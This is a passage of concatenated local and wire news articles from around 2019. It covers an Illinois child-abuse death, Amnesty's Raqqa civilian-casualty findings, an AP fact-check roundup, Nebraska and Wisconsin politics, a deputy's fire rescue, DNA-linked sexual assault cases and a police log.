breathed in high concentrations. Farmers use it to add nitrogen to soil. The first two officers who responded to the leak had to retreat because they were overcome by the ammonia, Covelli said. "It was difficult to get to that scene initially with those chemicals in the air without proper protection and gear to wear over the face," he said. Authorities said about two dozen law enforcement agencies responded to the leak. The leak was contained within a few hours and the leaking tank was empty, authorities said, adding that they were waiting for the chemical plume to dissipate. The order to remain indoors was lifted by late morning, Covelli said. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 CHICAGO Disturbing details emerged Thursday of the torture authorities say preceded the beating death of a 5-year-old Illinois boy who had extensive contact with child welfare workers, escalating scrutiny of a state agency already being reviewed because of the recent deaths of two other children. Court documents allege Andrew "AJ" Freund's parents killed him by beating him and subjecting him to long, cold showers. An autopsy determined the boy died from blunt force trauma to his head and had been struck multiple times. His plastic-wrapped body was found Wednesday in a shallow grave a few miles from the family's home in Crystal Lake, about 50 miles (80 kilometers) northwest of Chicago. Child welfare workers had been called repeatedly to the dilapidated and filthy house stinking of dog feces. Details of the gruesome death raised the question: Why did those workers not leave with the boy? "This agency, there is no direction, no mission and it certainly has not been protecting children," said state Rep. Sara Feigenholtz, a Chicago Democrat who chairs the House Adoption and Child Welfare Committee. Marc D. Smith, the new director of the Illinois Department of Children and Family Services, will appear before lawmakers Friday. The child's parents, 36-year-old Joann Cunningham and 60-year-old Andrew Freund Sr., appeared in court Thursday on first-degree murder and other charges. A judge ordered both held in jail on $5 million bail. Prosecutors read charging documents that alleged the boy was killed three days before his parents reported him missing last Thursday. The details fueled concern about how many other children could face the same kind of danger that "AJ" did in his short life. "How many AJ's are out there right now that we don't know about?" asked Rep. Kelly Cassidy, a Chicago Democrat, a member of the committee Feigenholtz chairs. Birth tests revealed the boy had opiates in his bloodstream, the first of many troubling signals about danger to A.J. and his little brother that should have been red flags for an agency whose job it is to protect children, Feigenholtz said. "I got the sense from what I read that the cops were essentially begging (DCFS) to take the child," said Feigenholz, referring to the media reports that DCFS in 2018 alone visited the house to investigate allegations of neglect and determined those allegations unfounded . "There were so many calls made, so many signs of trouble and still nothing was done." She said the agency's leadership has been a revolving door, with 13 directors since 2003 many of them interim. Another concern stems from the tough financial situation the state has found itself in for years. "We have huge budgetary problems and this is a byproduct of not taking care of the real issues," said Rep. Blaine Wilhour, a Beecher City Republican. "These are the core services that are being hollowed out (and) the most vulnerable people are the ones that end up getting hurt." Then there are questions about whether it is too difficult for child welfare workers to remove children from their homes, and too easy for parents to have their children returned to them. Those questions were raised in two recent cases that prompted Gov. J.B. Pritzker to order an independent review of DCFS. In February, a Decatur woman pleaded not guilty to first-degree murder charges after her 2-year-old daughter died from starvation and deprivation. In that instance, the child was taken from her mother last year during a DCFS child abuse investigation and placed in foster care but returned to the mother last August. In another case, an autopsy last month found a 2-year-old Chicago boy had bruises and old rib fractures, but records show DCFS never reported the injuries despite making numerous visits. The research center, Chapin Hall at the University of Chicago, has not completed its review of how the DCFS's Intact Family Services Unit functions and is expected to issue what Pritzker called "actionable recommendations" next month. But Chapin Hall has shared one conclusion in a press release: "With the lowest foster care entry rate in the nation, Illinois has a high threshold for child removal." Feigenholtz said lawmakers have to answer the question of whether the threshold for child removal is too high or whether the workers are "not aware of them or are poorly trained." "I think we all have a great deal of questions, but I will tell you this that this has to end," she said. "It has to be fixed." ___ O'Connor reported from Springfield, Illinois. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Just another day in America. On May 1, 2001, a group of radical Islamic terrorists crash a Boeing 737 jet airliner into the Mall of Americaand Vice President Robert Hornsby knows his moment is coming. The attack kills three thousand American citizens and throws an entire nation into a panic, but all Hornsby sees is an opportunity, a chance to imprint his fanatical values on the soul of the country he loves and become the most powerful vice president in American history. With the aid of his affable but ineffectual president; the reluctant, conscience-stricken secretary of defense; and a preening, foppish faith leader with more than a few skeletons in his closet; Hornsby declares war on terrorand anyone who stands in his way. But as media scrutiny of the administrations actions overseas intensifies, Hornbys one-man campaign against evil begins to unravelwith striking parallels to the thirteenth centurys doomed Fourth Crusadeand sends the nation spiraling toward another deadly tragedy. The American Crusade paints a grim and often cynical picture of Americas recent past, reflecting the attitudes, politics, and fears that shaped our nation in the new millennium. By sampling the contemporaneous French text on the Fourth Crusade, On the Conquest of Constantinople, author Mark Spivak reminds us of that ever-vital adage: Those who cannot remember the past are condemned to repeat it. Fans of The Castle by Jack Pinter, The President Is Missing by Bill Clinton and James Patterson, House of Cards by Michael Dobbs, The Whistler by John Grisham, and the Aaron Sorkinpenned TV drama The West Wing will love this book. This post is part of a virtual book tour organized by Goddess Fish Promotions . Mark Spivak will be awarding a $25 Amazon or Barnes and Noble GC to a randomly drawn winner via rafflecopter during the tour. Click on the tour banner to see the other stops on the tour.To President George Cane, the assembled group represented the full force and moral authority of the United States of America.To the Reverend Sanford J. Bayer, head of the White House Office of Faith and Reconciliation (known internally as the Woofers), they symbolized the lawful arm of Gods righteous Kingdom preparing to strike at the heart of our enemy.To Salman Al-Akbar, leader of the worldwide terrorist organization Husam al Din and the reason the dignitaries were gathered at this press conference, they were the cancerous core of modern civilization, bleeding like an ulcer that must be removed.They included the heads of both houses of Congress, the Joint Chiefs of Staff, the Directors of the FBI and CIA, most of the Cabinet, and the Chief Justice of the United States.And to the Vice President, who had assembled this improbable group, they were the usual suspects.In the realm of non-fiction, award-winning author Mark Spivak focuses on wine, spirits, food, restaurants and culinary travel. His first book, Iconic Spirits: An Intoxicating History, was published by Lyons Press in 2012. He followed this with Moonshine Nation (Lyons Press, 2014), hailed as the definitive book on illegal corn whiskey in America. From 1994-1999 he was the wine writer for the Palm Beach Post, and was honored for excellence in wine criticism in a graceful and approachable style. Since 2001 he has been the Wine & Spirits Editor for the Palm Beach Media Group, and contributes to a number of national magazines. He is also the holder of the Certificate and Advanced Diplomas from the Court of Master Sommeliers.Marks first novel, Friend of the Devil, was published by Black Opal Books in May 2016. Set in Palm Beach in 1990, it tells the story of Americas most famous chef, who has sold his soul to the Devil for fame and fortune.Mark also has an endless fascination with the American political system and is an avid follower of Washington politics. His second novel, The American Crusade (a gripping political thriller set during the invasion of Iraq, which dips into the shadowy world of government conspiracy and political sabotage), will be released by TCK Publishing on April 4. He is currently at work on Impeachment, the sequel to The American Crusade.Buy the book at Amazon There are lessons that come through failure, through "really bombing," says comedian Nick Griffin, who will bring his act to the Zoo Bar stage on Sunday. Griffin, who appeared on "Late Night with David Letterman" 11 times, four times on "Conan" and has toured nationally for the last three decades, is quick to draw on the misery of the second time he took the stage at an open-mic night in Kansas City in the late 1980s when he was still a college student. "I bombed," he said. "I forgot my whole act and I didnt go back on stage for six months. You're just a kid. You dont have any life experience so you think you didnt do well so that means youre not a good comic. "What you realize is the only way to get good at pretty much anything is to do it over and over and over and over. I stuck with it and Im still getting better. Thats a daily goal, getting better. You keep doing that and the rest will pretty much take care of itself." Well, that's half of the battle. The other half is being ready to answer the door when opportunity knocks. L. Kent Wolgamott Entertainment reporter/columnist L. Kent Wolgamott, the recipient of the 2018 Mayors Arts Award, has written about arts and entertainment for Lincoln newspapers since 1985, reviewing thousands of movies and concerts and hundreds of art exhibitions. Follow L. Kent Wolgamott Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Save Manage followed notifications Close Followed notifications Please log in to use this feature Log In Don't have an account? Sign Up Today The Lincoln Clay Tour returns for the fifth time Friday and Saturday, with a new studio stop, and three new potters. The tour, in which this year 10 experienced potters will show their work at three home studios, is an offshoot of a tour that has been taking place in Minnesotas St. Croix Valley for 26 years. Clay tours have expanded around the nation. For example, last year there were 31 clay tours in 18 states and three Canadian provinces, including the tours in Lincoln and the Omaha North Hills Pottery Tour, which will be held in early October. The Lincoln tour had three stops for its first three years, then dropped to two at the studios of Gail Kendall, 2525 Winthrop Road; and Amy Smith, 7540 Nemaha; last year -- because people moved. This year, the tour is back to three locations, the third being the studio of one of the three potters who will be new to the tour this year. Margaret Bohls, a University of Nebraska-Lincoln art professor, will have her White and Black Ware pottery -- simple utilitarian pottery made using smooth porcelain slabs where the edges of the slabs are left visible -- for view and purchase at her home at 1839 Crestline Drive. AbdukadirSavas/iStock(WASHINGTON) -- Amnesty International and Airwars claim that their research shows that 1,600 civilians were killed by the four-month airstrike campaign and artillery strikes carried out by the U.S.-led coalition against the former Islamic State-held city of Raqqa, Syria. That figure dwarfs the U.S. military's own estimates that 180 civilians were unintentionally killed by airstrikes carried out by the coalition. The two groups published their findings Thursday on a website titled "Rhetoric versus Reality." They say the report is the result of 18 months of research of open-source materials, social media postings and satellite imagery, followed by two months of ground investigations in Raqqa. Retaken from ISIS in October 2017 by U.S.-backed Syrian forces, the city in central Syria had become the defacto capital of the terror group's self-declared Caliphate. Between June and October 2017 coalition aircraft carried out an intense bombing campaign against ISIS targets in the city to help the Kurdish fighters capture the city. "Many of the air bombardments were inaccurate and tens of thousands of artillery strikes were indiscriminate, so it is no surprise they killed and injured many hundreds of civilians," said Donatella Rovera, senior crisis response adviser at Amnesty International. "First and foremost, any unintentional loss of life during the defeat of Daesh is tragic," said Colonel Scott Rawlinson, a spokesman for the Operation Inherent Resolve, the U.S.-led coalition fighting ISIS, which also known as Daesh. "However it must be balanced against the risk of enabling Daesh to continue terrorist activities, causing pain and suffering to anyone they choose," Rawlinson added. Overall, the coalition has determined that 318 civilians were killed in Raqqa between October 2014 and October 2017, after investigating 69 credible allegations. Additional allegations are still being investigated. "The coalition and the U.S. have provided extensive information to Amnesty International on our targeting process including multiple background briefings on targeting with regard to the mitigation of civilian casualties and extensive written responses to requests for information," said Lt. Colonel Earl Brown, a spokesman for U.S. Central Command. "Additionally, the Deputy Undersecretary of Defense for Policy briefed Amnesty International, Airwars, and other NGOs on our constant efforts to improve" he added. Rawlinson said Amnesty International "provided us with 86 new allegations, 43 of which had already been assessed as credible and previously reported or were deemed not credible because the allegation did not corroborate with our strike records." "We requested that Amnesty International provide us with additional information on the remaining 43 allegations if they have it so that we would be able to determine whether we could conduct an investigation," said Rawlinson. "The Coalition takes all reasonable measures to minimize civilian casualties." The coalition has extensive procedures in place to ensure that its airstrikes do not result in civilian casualties and also investigates any credible allegations of civilian casualties. So far those investigations have determined that at least 1,291 civilians have been unintentionally killed in the 34,464 airstrikes against ISIS targets that have been carried out from August 2014 to March 2019. Copyright 2019, ABC Radio. All rights reserved. Aditya-path and the blindness of insight This seemingly concerted building of myths around the boy remind us of a similar practice in the mid-2000s, when Ram Bahadur Bomjan, the meditating boy who was given the epithet of Little Buddha was raised to the status of a demigod. Blood said she had heard from people in seven districts outside of her own asking her to continue to speak on behalf of women in the Legislature, because they need to be heard. The battle women face is much different than the ones men face in the Legislature, she said. "I know it's tough to be a woman in this body right now," Blood said. "It's probably tough in every state." Omaha Sen. Machaela Cavanaugh noted that systemic sexism exists in the Legislature. Telling female colleagues not to share thoughts and feelings is sexist. "Our constituents know who we are. And if we get emotional, or we're not emotional at all, that's our prerogative," she said. "It would be great if everyone could treat the women with the respect that we have earned from our constituents, just as you have earned it from yours." Men in the Legislature aren't criticized for putting on a few pounds during the session, because it's stressful, or for what their hair looks like, or what outfit they are wearing. The fund raised $637,397 on Feb. 12 Abraham Lincolns birthday including $375,000 in seed money from the Buffett Early Childhood Fund and the Kellogg Foundation. The same amount of seed money will be used to bolster the next annual giving day. Child care providers are eligible if they have a rating of 2 or higher in the state Education Departments Step Up for Quality rating system and serve at least one child from a low-income family that receives child care subsidies. The state Education Departments five-step rating system offers training and resources to interested child care businesses. Step 2 means those businesses have completed some training, among other things. Providers that received scholarships must also keep records of the tuition assistance they provide and share other data that the fund organizers will use to evaluate the program. The money was distributed based on the number of additional children the provider agreed to serve, the percentage of children in the child care program who are on state subsidies and the percentage of infant and toddlers they serve because their care is more expensive. Southeast Community College is in the midst of several transformations. A new health sciences center is under construction on the college's Lincoln campus, while a new diesel technology and welding facility recently broke ground in Milford and a multi-story classroom building is planned for the Beatrice campus. Later this year, SCC will switch its academic calendar from quarters to semesters. And over the coming months, the college's new logo and tagline will complete a rebranding effort that began last year. For more than four decades, SCC's logo was a pair of "C's" placed within the swirls of a large blue "S" created by a drafting student at the college's technical education campus in Milford. But with changes on the horizon, Stu Osterthun, the college's public information and marketing director, said SCC wanted to create a new look to go along with a new tagline: "Your path to possible." "As these new buildings come out of the ground at our three campuses and the Falls City learning center, we wanted to put a new logo on the buildings rather than the old mark," Osterthun said. The University of Nebraska-Lincoln's executive vice chancellor was named the ninth chancellor of the University of Tennessee's Knoxville campus on Friday. Donde Plowman, who has been UNL's chief academic officer since 2016, was chosen over three other finalists to lead the University of Tennessee system's flagship campus. "I am thrilled and deeply humbled to be selected as the next chancellor of the University of Tennessee, Knoxville," Plowman said in a statement. "My years in Nebraska and my leadership roles at UNL have been the greatest honor of my life." The University of Tennessee Board of Trustees will hold a special meeting May 3 to confirm the choice made by interim system president Randy Boyd. Pending board approval, her first day will be July 1. "Under Donde's leadership, I am looking forward to an exciting, successful and transformational future," Boyd said in a news release. "Her student-first approach, her reputation as a dynamic leader and collaborator and her great love for the UT Knoxville will be great assets as we work together to advance the university and the state of Tennessee for many years to come." City Councilwoman Cyndi Lamm pledged to oppose any and all tax hikes if elected mayor in Lincoln's general election next month. Released Friday, Lamm's "Taxpayers Protection Pledge" repackaged vows she's made to voters in her bid for the mayor's office, including promises to re-prioritize city spending to reduce property taxes, slash the wheel tax rate, return any tax revenue windfalls from increased property valuations and ensure the new sales tax revenue for city roads goes to residential street repair. Lamm, an attorney, has positioned herself as the candidate of change as she seeks to succeed Chris Beutler, who could not seek a fourth term because of term limits. "I am making this pledge and asking the voters to give me a chance to end two decades of tax-and-spend policies in Lincoln," Lamm, a Republican, said in a news release. "I want them to hold me accountable to this pledge." Lamm will face City Councilwoman Leirion Gaylor Baird, a Democrat, in the general election May 7. Q&As with Lincoln mayoral candidates Love 1 Funny 2 Wow 1 Sad 0 Angry 1 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A roundup of some of the most popular but completely untrue stories and visuals of the week. None of these is legit, even though they were shared widely on social media. The Associated Press checked these out. Here are the real facts: CLAIM: Regular gas costs $9.40 a gallon in Death Valley, California. THE FACTS: California gas prices are the highest in the country right now, but they aren't that high. A photo shared on social media that shows a Chevron gas station sign with regular unleaded gasoline priced at $9.40 per gallon is manipulated. G. Dan Mitchell, a California photographer, told The Associated Press in an email that he took the photo several years ago and altered it as an April Fools' Day prank. As gas prices climbed in the state this month, social media users resurfaced the image and paired it with claims that tied higher gas prices to a 12-cent gas tax increase that was implemented in November 2017. Mitchell told the AP that regular gas was around $4 a gallon in 2011, when he captured the image at a Death Valley gas station. He manipulated the photo to show a price of $9.40 a gallon and posted it to his professional photography website eight years ago on April 1. The gas station he photographed is "notorious for having some of the priciest gas in California," Mitchell said. He said he did not approve republication of the image on social media. Oil refinery issues in the state have caused gas prices to spike recently, said Patrick DeHaan, a senior petroleum analyst for GasBuddy, which tracks fuel pricing. As of Friday morning, the highest price in recent days was $5.25 per gallon, DeHaan said CLAIM: Video is the official trailer for the movie sequel "Beetlejuice II." THE FACTS: Warner Bros. did not release a trailer for a sequel to director Tim Burton's 1988 cult classic, "Beetlejuice," which featured Michael Keaton. Candice McDonough, a spokeswoman for Warner Bros., told The Associated Press in an email that the company has not released a film trailer for a "Beetlejuice" sequel, and has no "Beetlejuice II" project in active development. A short video circulating online pieces together clips featuring actors from the original film, including Alec Baldwin and Geena Davis. The trailer has been circulating for at least a year. The movie is about a couple who dies in a car accident and haunts their old home. The film has been adapted for the stage. The musical, "Beetlejuice: The Musical," had its official opening this month on Broadway. CLAIM: The man accused of throwing a boy over a balcony at the Mall of America was born with a Muslim name, but later changed it to Emmanuel Aranda. THE FACTS: The man charged in the case was born Emmanuel Aranda, according to Cook County birth records. Social media posts attempt to portray Aranda as Muslim by falsely claiming he was born Abdisaid Mohamed. Prosecutors have charged Aranda with attempted first-degree murder after he was arrested April 12 for throwing a 5-year-old boy from a balcony at the Mall of America, a Minneapolis-area tourist attraction. False Facebook posts say he is a Somali immigrant or legally changed his name to Aranda but birth records show he was born in August 1994 at University of Illinois Hospital in Chicago. No name changes have been made to the record, James Scalzitti, the director of communications at the Cook County Clerk's Office, told the AP in an email. Records also show Aranda was issued a social security card in his birth name. Bloomington Police, who investigated the mall case, have no information to indicate Aranda has used another name, said Deputy Police Chief Mark Hartley. "We don't have an alias for him and certainly not that one," Hartley told the AP. Aranda's religious affiliation has not been disclosed. The boy who was thrown from the balcony is recovering in a Minnesota hospital. This is part of The Associated Press' ongoing effort to fact-check misinformation that is shared widely online, including work with Facebook to identify and reduce the circulation of false stories on the platform. Find all AP Fact Checks here: https://www.apnews.com/APFactCheck Follow @APFactCheck on Twitter: https://twitter.com/APFactCheck Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Nayak Paudel is a crime reporter for The Kathmandu Post. Since joining the Post in 2018, he has also written on health issues. KEARNEY State officials want to find a home for twin baby boys left at a Kearney hospital. A judge this week formally turned over the twins to the state Health and Human Services Department, ruling that returning the boys to their parents would be contrary to the boys' welfare. The department had placed the boys with foster parents. The twins were born Feb. 2 and left at CHI Good Samaritan hospital. Police say the mother had provided false information to the hospital. The state's safe haven law says parents won't be prosecuted if they turn over children 30 days old or younger at a hospital. Love 0 Funny 0 Wow 0 Sad 9 Angry 1 It comes down to this: Every landowner is a stakeholder in the great State of Nebraska. Dont we all deserve the right to enjoy and utilize our own property? I can understand the conundrum our elected officials face. By advancing this amendment, lawmakers sent a clear signal to Nebraska property owners that their property rights are valued and each of are entitled to the peaceful use of their own land. When I was 6, my family went to see Gov. J.J. Exon at the Governor's Mansion. I remember his desk, the red phone and the black phone. He called me over from our family group and plopped me on his lap while he told me about the red phone being "special." While on our family tour, a kind woman told us about the great chandelier that hangs in the foyer. Each glass piece was hand cut, thousands and thousands of them, and each piece belonged to a Nebraskan. I shall not ever forget that time at the mansion. I knew we were all special. LB227 began as a dangerous bill that elevated one property use over another in order to serve the interests of a particular group. Through compromise and negotiation, the bill became an important statement that we can all support. This is the Nebraska I know. Mary Gentry is a public health specialist and landowner in Lewellen. Love 3 Funny 0 Wow 0 Sad 0 Angry 0 Tax relief needs spending cuts Nebraska taxpayers especially farmers and ranchers earnestly deserve some relief from high property taxes, but will the Legislature deliver? It looks as if our elected representatives will fall short of delivering what Nebraskans really need: tax relief driven by spending restraint. The tax plan that has emerged from the Revenue Committee calls for hefty increases in state sales and income taxes to achieve $540 million in property tax relief. A lot of that money is earmarked for aid to schools. With farm profits so tenuous and increased earnings unlikely for many Nebraskans, why do lawmakers believe taxpayers can afford to pay for automatic budget increases for schools and other taxing entities? It's no wonder Gov. Pete Ricketts is criticizing legislators. They're proposing $80 million more in state aid for schools along with allowable budget increases of 2.1 percent to 2.3 percent, plus more money if school enrollment is increasing. We agree with the governor. Let's not commit the mistakes that got us into our current mess by allowing automatic taxing and spending increases we cannot afford. YORKVILLE Just before 5 a.m. March 18, Racine County Sheriffs Deputy Eric Schneider was getting gas for his squad car before he went home for the night when a call came in for a house fire. Schneider, 26, of Brookfield, responded to the house in the 1200 block of High Street in Union Grove. When he arrived, flames were shooting out of the windows and smoke was billowing out into the night. Schneider, who had only been a deputy for 18 months, knocked on the doors and windows and yelled to see if anyone was inside. One man walked out, but Schneider went inside. After spending some time searching, he found an unconscious man lying in the basement. After the young deputy dragged him out, the man was taken to a hospital and survived. The house ended up being a total loss. Its not something where you really know whats going to happen or what to expect, Schneider said Thursday. You just kind of go with what you feel is right and just try and do your best. For his heroism, Sheriff Christopher Schmaling, Racine County Executive Jonathan Delagrave, state Sen. Van Wanggaard, R-Racine, and Assembly Speaker Robin Vos, R-Rochester, commended Schneider during a ceremony Thursday afternoon at the Racine County Sheriff Patrol station, 14116 Washington Ave. U.S. Rep. Bryan Steil, R-Janesville, also came to congratulate Schneider, but left before the ceremony began due to another commitment. Too often I have to take this podium and talk to the community about unfortunate events, but today we get to talk to you about something spectacular, about a life that was saved rather than one that was taken, Schmaling said. Schmaling then gave Schneider a Life Saving Award. Wanggaard and Vos also presented Schneider with a plaque and legislative citation. We also want to commemorate this day as a historic reference to somebody that went out and did it right, that we can be proud of, Wanggaard said. Schmaling, beaming with pride, pinned the legislative citation on Schneiders uniform. This isnt the reason why we do what we do, Schneider said. Its part of the job. Its what we signed up for. Vos and Wanggaard also issued a joint press release praising Schneiders actions. Racine County is fortunate to have such a brave public servant, Vos said. By risking his own safety and putting himself in harms way, Eric Schneider demonstrates the definition of commitment to community, Wanggaard said. He may have saved one life, but his actions and inspiration have impacted many more. Schmaling said proud doesnt begin to describe how our agency feels today and noted how Schneider went in the house despite the almost inconceivable amount of things that could have gone wrong. When asked if he would make the decision to run into the house again, Schneider did not hesitate before giving his answer: Yes, in a heartbeat I would. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. RACINE COUNTY Get your shovels and snowblowers back out. A late April snowstorm is expected to bury the county in 5 to 8 inches of wet, heavy snow Saturday, according to National Weather Service meteorologist Andy Boxell. Itll be a real heavy, slushy type snow, Boxell said. It will be coming down pretty hard, especially in the afternoon hours. Snow is expected to start falling in the afternoon and continue into the evening. Anywhere across southern Wisconsin, especially the two to three southern tiers of counties across the state, its going to be a mess for sure, Boxell said. Boxell cautioned anyone who will be driving Saturday, because that layer of slush can be misleading and pose a risk of slippery conditions despite the roads appearance. Visibility is also expected to be poor with the snow coming down heavily. But, with temperatures climbing into the 40s the snow should begin to melt Sunday. The Madison area is expected to get the worst of it, with totals up to 9 inches. The storm is on track to impact a wide area, reaching as far north as Fond du Lac albeit with lesser snow totals and south of Chicago. Wisconsin generally averages about an inch of snow in April, according to the NWS. The Associated Press contributed to this report. Love 4 Funny 0 Wow 1 Sad 1 Angry 11 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. MADISON Two top Republicans on Thursday said they wont consider Democratic Gov. Tony Evers budgetary plan to decriminalize small amounts of marijuana and legalize it for medical use. It will not be in the final budget passed, said Rep. John Nygren, R-Marinette, co-chair of the states powerful Joint Finance Committee, which is tasked with crafting the state budget that Evers will need to sign. The comments from Nygren and JFC co-chair Sen. Alberta Darling, R-River Hills, at a WisPolitics.com luncheon eradicate the chances the governors sweeping cannabis proposal in the state budget will become law anytime soon. When you read what he actually has in his budget, its really off the wall scary, Darling said. Evers plan would enable people to legally access the drug with a physicians recommendation to treat any of a list of debilitating medical conditions, including cancer, post-traumatic stress disorder and chronic pain. Evers 'happy that there is more consistency' from Foxconn KENOSHA Gov. Tony Evers said Wednesday night that he was pleased to see more consistency in communication from Foxconn Technology Group re Other parts of the governors plan call for removing all penalties for the possession, manufacture or distribution of 25 grams or less of marijuana, and allowing people convicted of possessing small amounts of marijuana to have their records expunged. Evers spokeswoman Melissa Baldauff in an email pushed back against the comments from the JFC co-chairs, arguing Wisconsinites overwhelmingly agree with Evers proposal. What is scary is Republicans complete and total disregard for the will of the people, she said. The latest Marquette Law School Poll, released April 10, shows 59% of Wisconsinites believe marijuana use should be legal, while 83% say it should be legal for medical purposes with a doctors prescription. Nygren said neither the medical nor decriminalization aspect of Evers proposal will make it into the budget that the Republicans pass. Nygren said Republicans plan to pass their version of the budget by the end of June. The Marinette Republican, however, left the door open for a plan to legalize medical marijuana with a doctors prescription after the budget process plays out. Assembly Speaker Robin Vos, R-Rochester, who has been open to medical marijuana, in February called Evers plan preposterous for opening the door to recreational use. Meanwhile, the JFC co-chairs are split on whether to take up Evers proposal to tax e-cigarettes and vaping products the same way as tobacco products. The plan would impose a 71% tax on such products. Darling said shes not interested in taking up the issue in the budget, although she said the issue should be taken up at some point. Nygren, however, said the governors proposal is still on the table. That will be something that well have to arm wrestle on, Nygren said, adding that a 71% tax may be too high. He said hed be interested in exploring a tax structure for such products based on the amount of nicotine they contain. Foxconn update A day after Gov. Tony Evers in a public letter suggested electronics maker Foxconn first suggested revisiting its $3 billion state incentive deal to reflect the companys evolving project in Wisconsin, Alan Yeung, the companys director for U.S. strategic initiatives, took to social media to suggest no one knows whether the company will fulfill its commitment to create 13,000 jobs in Wisconsin by 2032. Calm down, Yeung wrote. Probably fake news. Who has the crystal ball to predict if 13,000 jobs will be created by the year 2032? Esp in April 19. Nygren on Thursday referenced the tweet in criticizing the Evers administration for aggressively attacking a company that wants to invest in Wisconsin. He sai he took the tweet to mean a lot can happen between now and 2032, but that he still believes the company stands by its commitment to creating 13,000 jobs in the state. Evers last week said Foxconn is unlikely to employ 13,000 workers and said the states deal with the company may need to be downsized as a result. Nygren suggested that since the state would dole out most tax credits only if the company created jobs, theres no need to renegotiate the contract. Love 2 Funny 1 Wow 0 Sad 0 Angry 0 MADISON A Madison man serving a 12-year prison sentence for the rape of a woman on Madisons South Side in 2014 has been tied by DNA evidence to four other sex assaults in Dane County between 2008 and 2014, according to a search warrant unsealed this week in Dane County Circuit Court. Mariono L. Weaver, 48, currently an inmate at New Lisbon Correctional Institution, was tied by DNA evidence to reported sexual assaults in Madison, the town of Madison, Fitchburg and on the UW-Madison campus, according to the search warrant, which was filed by the state Department of Justice. No charges have been filed in any of the other assaults, according to court records. The warrant, which was originally filed under seal in January but unsealed on Tuesday, sought a confirmation sample of Weavers DNA as part of an investigation into the 2010 sexual assault of a woman in Fitchburg who had accepted a ride to Walmart from a stranger, only to be driven to a secluded area and raped. A sexual assault kit with samples taken from the victim by a Meriter Hospital forensic nurse examiner in 2010 was taken to the state Crime Lab in 2017 as part of DOJs Wisconsin Sexual Assault Kit Initiative. DNA extracted from the kit was found last year to match Weavers profile in the FBIs Combined DNA Index System, also called CODIS. The warrant states that Weavers DNA profile was also linked to four other sexual assault cases, including the May 14, 2014, incident in Madison for which Weaver was convicted of second-degree sexual assault in 2015 and sentenced to 12 years in prison. He is scheduled for release in 2026. The other three cases to which CODIS linked Weavers DNA include: A 2008 sexual assault case investigated by UW-Madison police. Spokesman Marc Lovicott did not respond to calls Thursday about the case. A 2010 case investigated by town of Madison police. Chief Scott Gregory said in that case a woman reported on Oct. 29, 2010, that she had been given a ride by a man who assaulted her in his car at Carver and Balden streets, near the UW Arboretum. A 2014 case investigated by city of Madison police in which a woman told police that on Feb. 6, 2014, she was taken to an apartment by an acquaintance and assaulted by at least two men. Police spokesman Joel DeSpain said the woman told police, who are aware of the DNA match, that she does not want to pursue the case and relive the incident. As of about two weeks ago, the Wisconsin Sexual Assault Kit Initiative reported that testing was completed on 95% of the 1,032 sexual assault kits from Dane County that were designated for testing. Of those tested, 36% identified foreign DNA, or DNA that did not belong to the victim. Statewide, the project reported that testing was finished on 93% of 4,471 kits designated for testing, with 39% identifying foreign DNA. According to the warrant, the woman in the Fitchburg incident on Oct. 15, 2010 two weeks before the town of Madison incident told police she was at a PDQ convenience store on Fish Hatchery Road and asked a man in the store for directions to a Walmart store. She started to walk to the Walmart on Watts Road, about six miles away, when the man she had spoken to at PDQ pulled up in a car and asked her if she wanted a ride. The man instead took her south on Seminole Highway and then onto a gravel road, then stopped and told her, Were going to do something about the ride. The woman tried to walk away, the warrant states, but the man grabbed her. When the woman pleaded with him not to hurt her, he told her, I have killed people for less. After the man raped her, the woman told police, he got into his car and drove away, and she walked to Seminole Highway and called 911. The case was assigned to a state Division of Criminal Investigation agent in October 2018. Fitchburg Deputy Police Chief Don Bates said he could not comment on the case because the investigation remains active. According to the Wisconsin Coalition Against Sexual Assault, there is no statute of limitations for charging first-degree sexual assault, but a 10-year limitation exists on charges of second- and third-degree sexual assault. However, the statute of limitation can be extended in some circumstances where DNA evidence is obtained or tested, according to WCASA. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 MADISON A spokeperson for Democratic Gov. Tony Evers says he doesnt plan to meet with Republican President Donald Trump during the presidents visit to Green Bay Saturday. For Evers, thats a shift from his predecessor, former Republican Gov. Scott Walker. Walker met with Democratic President Barack Obama at least three times when Obama visited Wisconsin. Evers spokeswoman Melissa Baldauff said in a statement that the White House did not invite the governor to meet the president during his visit. Trump will be at the Resch Center in Green Bay Saturday evening for a Make America Great Again rally. A release announcing the event said Trump looks forward to sharing the successes of his administration with the great people of Wisconsin. Love 1 Funny 5 Wow 0 Sad 0 Angry 4 Advancing the frontiers of knowledge Whats so super about supercomputers and why does Nepal need them anyway? Middle Bhotekoshi says it may cancel contract with Guangxi The Middle Bhotekoshi Hydroelectric Project said it might end the contract with the Chinese contractor for the civil and hydro-mechanical works for its failure to follow instructions and resume work. Onalaska police April 6 5:12 p.m. Officers sought a 44-year-old La Crosse man for retail theft of items valued at $220 in the 1200 block of County Hwy PH. April 7 4:37 a.m. A 48-year-old Onalaska man was arrested at Poplar Street and Second Avenue North and charged with operating while under the influence, operating with prohibited alcohol concentration and speeding. April 8 3:52 p.m. Officers requested an arrest warrant for a 40-year-old La Crosse man suspected of forgery, receiving stolen property and felony bail jumping. April 9 5:30 a.m. A 32-year-old La Crosse woman was arrested on a warrant at Second Avenue South and Fern Street and charged with resisting or obstructing an office. 11:34 p.m. A 31-year-old Onalaska man was arrested at Hwy. 35 and Interstate 90 and charged with operating while under the influence, operating with a prohibited alcohol concentration and operator without a valid license. April 10 9:38 a.m. An officer took a complaint in the 2400 block of Thomas Court of a swindle in the amount of $1,175. 3:48 p.m. Officers sought a 23-year-old Onalaska woman for criminal damage to property in the 1000 block of Frances Court and misdemeanor bail jumping. 6:38 p.m. A 27-year-old Hazel Green man was sought in the 1300 block of Sand Lake Road for forgery in the amount of $1,455. April 11 2:09 p.m. A 62-year-old 